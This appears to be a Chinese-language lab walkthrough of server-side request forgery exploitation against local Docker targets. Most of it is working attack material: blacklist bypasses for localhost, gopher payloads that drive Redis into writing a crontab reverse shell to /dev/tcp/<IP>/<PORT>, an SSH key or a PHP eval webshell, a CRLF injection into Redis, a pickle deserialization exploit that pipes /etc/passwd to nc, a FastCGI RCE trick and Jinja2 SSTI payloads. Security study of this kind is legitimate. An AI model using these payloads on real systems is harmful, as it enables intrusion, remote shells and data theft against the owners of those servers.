SSRF 的价值:借外网可达的服务器把请求发进内网,并按任意协议说话。靶场 web-ssrfme、Web-Hacking-Lab,复现全在本地 Docker。
0x01 靶场与入口
两个入口都是”在线 fetch”页面,区别在过滤:
// web-ssrfme:有黑名单
if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url, $match))
die('No, No, No!');
curl($url);
// Web-Hacking-Lab:POST url,无任何过滤,回显 curl 结果
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
0x02 黑名单绕过速查
针对 127.0.0.1 / localhost 关键词的等价形式:
http://0.0.0.0/ http://127.1/
http://0x7f000001/ http://2130706433/ (十六进制/十进制整数)
http://[::1]/ http://0177.0.0.1/ (IPv6/八进制)
http://a:80@127.0.0.1/ (URL 解析差异)
302 跳转:外网短链/自建跳板 → Location: http://127.0.0.1:6379
DNS Rebind:TTL=0 的 A 记录在两次解析间切换 IP
file://、dict:// 被禁不代表没路——gopher:// 常是漏网之鱼且最强:能以任意协议携带任意字节流发 TCP 请求,是下面所有利用的载体。
0x03 gopher 打 Redis:先看协议再看 payload
Redis 客户端与服务端之间是 RESP 文本协议,可用 NC 式裸命令通信。gopher 语法 gopher://host:port/_<URL编码后的TCP数据流>,下划线后内容原样发出。
payload 核心函数——把一行命令转成 RESP:
def generate_resp(command):
command = command.split(" ")
res = "*{}\n".format(len(command)) # 参数个数
for cmd in command:
res += "${}\n".format(len(cmd)) # 每段长度
res += "{}\n".format(cmd)
return res
命令拼好后 urllib.quote 编码塞进 gopher URL;换行必须替换成 \r\n(Redis 要求 CRLF)。
三板斧
脚本 payload_redis.py 给三条路,前提都是 Redis 未授权/弱口令:
① crontab 反弹 shell(写 /var/spool/cron/root;Ubuntu 为 /var/spool/cron/crontabs/root):
flushall
set 1 "\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/<IP>/<PORT> 0>&1'\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
② SSH 公钥写入(dir /root/.ssh/ + dbfilename authorized_keys),公钥前后带换行。
③ 写 WebShell(知道 Web 根目录时):
config set dir /var/www/html/
config set dbfilename shell.php
set 1 "<?php @eval($_POST['x']);?>"
save
通用四步 flushall → set → config set dir/dbfilename → save,只变写哪个文件。
数据外带视角:CRLF 进 Redis
Web-Hacking-Lab 的 pickle-redis 靶入口是 Flask fetch 接口,用 httplib 发请求——httplib 对 path 不做 CRLF 过滤:
POST / → url=http://127.0.0.1:6379/
GET /%0d%0aflushall%0d%0aset%20x%20... HTTP/1.1
path 里 %0d%0a 解码成 CRLF,Redis 把后续每行当独立命令——HTTP 通道也能说 RESP。
0x04 进阶链:SSRF + Redis Session 反序列化 RCE
前提:Flask 用自定义 RedisSessionInterface 且 serializer = pickle,session 存取走 pickle.loads()。
class RedisSessionInterface(SessionInterface):
serializer = pickle
prefix = 'session:'
def open_session(self, app, request):
sid = request.cookies.get(app.session_cookie_name)
val = self.redis.get(self.prefix + sid) # 从 Redis 取
if val is not None:
data = self.serializer.loads(base64.b64decode(val)) # ← 反序列化点
...
def save_session(self, ...):
val = base64.b64encode(self.serializer.dumps(dict(session)))
self.redis.setex(self.prefix + session.sid, ...) # ← 写入点
攻击闭环(四步):
- 构造 pickle 恶意对象并 base64(
__reduce__返回(os.system, ("cmd",))); - 用 SSRF/CRLF 往 Redis 写 key:
SET session:<恶意sid> <base64 payload>; - 把自己 Cookie 的 session id 改成
<恶意sid>; - 带新 Cookie 访问 →
open_session读到恶意 key →pickle.loads→ RCE。
配套脚本最后一步:
class PickleExploit(object):
def __reduce__(self):
return (os.system, ('cat /etc/passwd | nc <IP> <PORT>',))
pickle.dumps(PickleExploit()) # base64 后写进 Redis 的 session: key
0x05 SSRF 直打内网 FastCGI
Nginx 收到 PHP 请求会封装成 FastCGI 包转发给 PHP-FPM(如 127.0.0.1:9000);该端口本只对内网暴露,有 SSRF 就能直接对 9000 说 FastCGI 协议。
利用面在报文的 PHP_VALUE/PHP_ADMIN_VALUE 可注入环境配置——打开 allow_url_include、auto_prepend_file=php://input,等效任意文件包含直接 RCE。gopherus 可生成报文:
gopher://127.0.0.1:9000/_<FastCGI 报文,含 PHP_VALUE: allow_url_include=1...>
同理:内网服务信任”来自本机的请求”,SSRF 伪造了这个信任源。
0x06 Python SSRF 场景的连带伤害:Jinja2 SSTI
Python 场景:Flask fetch 接口若把用户输入拼进 render_template_string,SSRF 之外又多一个 SSTI 面:
{{ ''.__class__.__mro__[1].__subclasses__() }} # 枚举基类找 os._wrap_close
{{ c.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()') }}
0x07 复现环境清单
# web-ssrfme:Apache+PHP(黑名单 SSRF 入口)+ Redis 3.2.11(未授权)
services:
web: { image: web, ports: ["8091:80"] }
redis: { image: redis }
Web-Hacking-Lab compose 起两个容器:centos(Redis 未授权 + cron 可写,privileged)、pickle-redis(Flask + Redis session,3333 端口)。复现顺序:黑名单绕过 → gopher 三板斧 → pickle session 链 → FastCGI。
参考
- RESP 协议与
CONFIG SET dir/dbfilename是经典手法,payload 生成参考 gopherus / 配套脚本 - 相关旧文:命令执行与代码执行、PHP 反序列化深入